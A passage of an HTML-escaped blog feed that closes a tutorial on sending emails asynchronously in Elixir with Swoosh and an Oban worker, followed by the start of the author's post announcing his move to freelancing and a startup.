&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;      &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;to&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;contact_to_map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;email&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;to&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;      &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;from&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;contact_to_map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;email&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;      &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;subject&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;email&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;subject&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;      &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;text_body&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;email&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;text_body&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;from_map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;args&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;      &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;to&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;to&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;      &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;from&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;      &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;subject&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;subject&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;      &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;text_body&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;text_body&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;args&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;to: &lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;map_to_contact&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;to&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;from: &lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;map_to_contact&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;subject: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;subject&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;text_body: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;text_body&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;      &lt;span style=&quot;color: #8b949e;&quot;&gt;# Add a text_html if needed.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Swoosh.Email&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;contact_to_map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;info&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;when&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;is_list&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;info&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Enum&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;info&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;contact_to_map&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;contact_to_map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;email&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;39&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;name&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;email&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;email&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;40&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;41&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;42&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;map_to_contact&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;info&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;when&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;is_list&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;info&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;43&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Enum&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;info&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;map_to_contact&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;44&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;45&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;46&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;map_to_contact&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;name&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;email&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;email&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;47&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;email&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;48&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;49&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;These little helper functions allow us to create a &lt;code&gt;Swoosh.Email&lt;/code&gt; in our &lt;code&gt;UserNotifier&lt;/code&gt; and convert it to a map so that Oban can use it as an argument when inserting an Oban worker. Once the Oban worker is executed it needs to convert the map back to a &lt;code&gt;Swoosh.Email&lt;/code&gt;-struct so that Swoosh can send it.&lt;/p&gt;
&lt;p&gt;You might argue that this is not needed because we can insert the Oban worker with &quot;raw&quot; arguments like e.g. recipient email, redirect URL, any IDs to records we need to present in the email and let the worker build the email. There are a few problems with this approach which is why I prefer to build the email beforehand and only use the worker for sending the email.&lt;/p&gt;
&lt;p&gt;The first problem is that our arguments might be incorrect and the worker can never build the email with them. For example, what if you need the user&apos;s physical address in the email, but the user hasn&apos;t provided it yet? Normally, you&apos;d block sending the email and show an error to the user but if you build the email inside a worker, there&apos;s no way to notify the user about this error.&lt;/p&gt;
&lt;p&gt;The second problem is that the underlying data might change from when you insert the worker to when you send the email. Imagine a user completes a purchase and you insert a worker to send out the &quot;order confirmed&quot;-email. By the time you send the email, the user might have canceled the purchase and the order was deleted!&lt;/p&gt;
&lt;p&gt;So, that&apos;s why I prefer to build the email contents beforehand and only use the worker for sending the email, not building it.&lt;/p&gt;
&lt;p&gt;Alright, enough armchair doomspelling. Let&apos;s look at the worker&apos;s code next:&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-worker&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-worker&quot;&gt;&lt;/a&gt;The Worker&lt;/h3&gt;
&lt;p&gt;This module contains a super lightweight email-sending worker. It sends the mail synchronously through Swoosh, so if the sending fails, the worker fails and Oban will retry it again at a later time. Exceptions will be logged and will notify us when emails aren&apos;t being sent. This makes our email-sending functionality asynchronous and robust because we will never miss sending an email.&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# lib/workers/send_email.ex&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Workers.SendEmail&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Oban.Worker&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;queue: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:mailer&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Mailer&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;impl &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Oban.Worker&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;perform&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Oban.Job&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;args: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;email&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;email_args&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;email&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Mailer&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;from_map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;email_args&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;         &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_metadata&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Mailer&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;deliver&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;email&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you want to support me, you can buy my &lt;a href=&quot;https://pragprog.com/titles/puphoe/building-table-views-with-phoenix-liveview/&quot;&gt;book&lt;/a&gt; or &lt;a href=&quot;https://peterullrich.com/course&quot;&gt;video course&lt;/a&gt;. Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until the next time! Cheerio 👋&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/sending-emails-with-swoosh-and-oban"/>
    <id>https://peterullrich.com/sending-emails-with-swoosh-and-oban</id>
    <title>Sending Emails with Swoosh and Oban</title>
    <updated>2023-12-17T08:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;I&apos;m happy to announce that after five years of working full-time, I&apos;ll hang up my employee hat and put on the chaos stress halo of a freelancer and startup entrepreneur. At least until I run out of money or my hair falls out, whatever comes first 😄&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#so-heres-what-comes-next&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;so-heres-what-comes-next&quot;&gt;&lt;/a&gt;So, here&apos;s what comes next&lt;/h2&gt;
&lt;p&gt;Through my network, I was referred to a very interesting Elixir freelance job where I&apos;ll work 2 days a week. That&apos;s gonna cover my monthly expenses (yey!)&lt;/p&gt;
&lt;p&gt;The remaining days, I&apos;ll work on my startup &lt;a href=&quot;https://indiecourses.com&quot;&gt;indiecourses.com&lt;/a&gt;. My goal is to get this thing off the ground and profitable within 6-12 months. I&apos;ll #buildinpublic wherever possible. The first deadline is January 28th where we&apos;ll go live with our Beta (you can sign up to our newsletter if you don&apos;t want to miss it)&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#what-this-means-for-you&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;what-this-means-for-you&quot;&gt;&lt;/a&gt;What this means for you&lt;/h2&gt;
&lt;p&gt;Not much will change. I&apos;ll continue to post about Elixir on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; and my blog here but I&apos;ll add learnings about being a bootstrapped founder to it. I&apos;ll blog about all things education and video courses over at &lt;a href=&quot;https://indiecourses.com&quot;&gt;indiecourses.com&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Aside from that, prepare yourself for many more dad jokes because now I&apos;ve got the time to post them relentlessly 😜&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;For example:&lt;/strong&gt;&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;Elevators terrify me.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
